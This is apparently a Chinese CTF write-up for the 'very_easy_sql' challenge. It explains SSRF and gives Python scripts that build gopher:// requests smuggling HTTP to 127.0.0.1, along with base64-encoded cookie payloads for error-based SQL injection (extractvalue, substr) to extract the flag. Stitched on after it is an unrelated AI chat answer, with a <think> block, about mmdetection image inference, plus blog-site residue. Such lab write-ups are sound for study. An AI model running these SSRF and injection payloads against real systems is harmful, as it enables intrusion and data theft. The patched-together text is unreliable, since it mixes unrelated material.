攻防世界 very_easy_sql

主要参考

攻防世界web新手 - very_easy_sql(非常详细的wp)_easy sql 攻防世界-优快云博客

【xctf之very_easy_sql】_xctf veryeasysql-优快云博客

题目进来提示要内部用户

进行了注入点测试 单引号 双引号 括号无反应 

响应包中有

Set-Cookie: this_is_your_cookie=deleted

前面提示了内部用户这里还this_is_your_cookie 猜测是注入点

ssrf详解
什么是ssrf
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
我理解的是相当于内网穿透,你获取到其中一个内网主机,可以用这个内网主机作为服务器向其他的内网机器发起攻击。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

ssrf的利用
分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
转码服务,适应硬件设备的大小;
图片的加载与下载
图片,文章的收藏;
产生SSRF漏洞的函数
file_get_contents
fsockopen()
ssrf漏洞利用
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
本题目就是运用第六种,gopher协议。

 url curl 这是ssrf的关键字

 gopher协议的构造脚本

import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

payload =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)

tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)

返回数据包

YWRtaW4%3D  base64解码 admin7

首先测试是字符型还是整数型注入,构造payload为admin' #

测试后发现不回显信息 只有报错信息
 

admim')#

闭合点为     ')

报错注入模板 admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #

后面就正常sql注入流程 

优化一下脚本

import urllib.parse
import base64

host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie = "this_is_your_cookie=" + base64_payload

test = \
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
    
""".format(host, cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)

到最后一步时flag显示不完全

报错的回显最大位数为32位,此时我们只获得了32位,需要用substr函数进行分割读取

import urllib.parse
import base64

host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,36),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie = "this_is_your_cookie=" + base64_payload

test = \
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
    
""".format(host, cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A", "%0D%0A")
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)

flag为cyberpeace{22989b8c300c9bbcfef8db91dcc59a13}

<think>好的,我需要回答用户关于如何在mmdetection中使用单张图片进行推理的示例代码的问题。首先,用户提到了引用[1]和引用[2],所以我要确保引用正确。根据引用[1],mmdetection的image_demo.py脚本可以直接用于单张图片推理。我需要先确认这个脚本的使用方法,并给出具体的命令行示例。 接下来,用户可能需要一个更自定义的Python代码示例,比如不想通过命令行而想在自己的脚本中调用。这时候需要导入必要的模块,例如init_detector和inference_detector,然后加载模型和配置文件,最后进行推理并可视化结果。这部分需要确保代码正确,比如模型路径和配置文件的正确性,以及图像路径的替换提醒。 另外,用户可能关心是否需要安装额外的依赖,比如mmcv和PyTorch,可能需要提醒他们确保环境正确配置。同时,不同版本的mmdetection可能有不同的API变化,可能需要指出代码适用于较新版本,并建议查阅官方文档。 还需要注意代码中的参数说明,比如threshold参数用于过滤低置信度的检测框,这样用户可以根据需求调整。最后,生成相关问题时要围绕mmdetection的使用、配置、其他推理方式以及YOLO的比较,这些都能帮助用户进一步探索。</think>以下是在mmdetection框架中进行单张图片推理的两种常用方法: ### 方法一:使用官方demo脚本 通过mmdetection自带的`image_demo.py`脚本可以直接实现单张图片推理,执行命令格式为: ```bash python demo/image_demo.py \ ${IMAGE_PATH} \ ${CONFIG_FILE} \ ${CHECKPOINT_FILE} \ [--device ${GPU_ID}] \ [--score-thr ${SCORE_THRESH}] ``` 示例命令: ```bash python demo/image_demo.py demo/demo.jpg \ configs/faster_rcnn/faster_rcnn_r50_fpn_1x_coco.py \ checkpoints/faster_rcnn_r50_fpn_1x_coco_20200130-047c8118.pth \ --device cuda:0 \ --score-thr 0.3 ``` ### 方法二:自定义Python代码 若需要集成到自定义代码中,可使用以下模板: ```python from mmdet.apis import init_detector, inference_detector, show_result_pyplot # 配置文件和权重路径 config_file = 'configs/faster_rcnn/faster_rcnn_r50_fpn_1x_coco.py' checkpoint_file = 'checkpoints/faster_rcnn_r50_fpn_1x_coco.pth' # 初始化模型 model = init_detector(config_file, checkpoint_file, device='cuda:0') # 执行推理 img = 'test.jpg' result = inference_detector(model, img) # 可视化结果(置信度阈值0.3) vis_image = show_result_pyplot( model, img, result, score_thr=0.3, title='Detection Results' ) vis_image.show() ``` 注意事项: 1. 需提前安装mmcv-full和对应版本的PyTorch[^1] 2. 不同检测器的配置文件和权重需对应 3. `show_result_pyplot`返回PIL.Image对象,可直接保存或显示
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值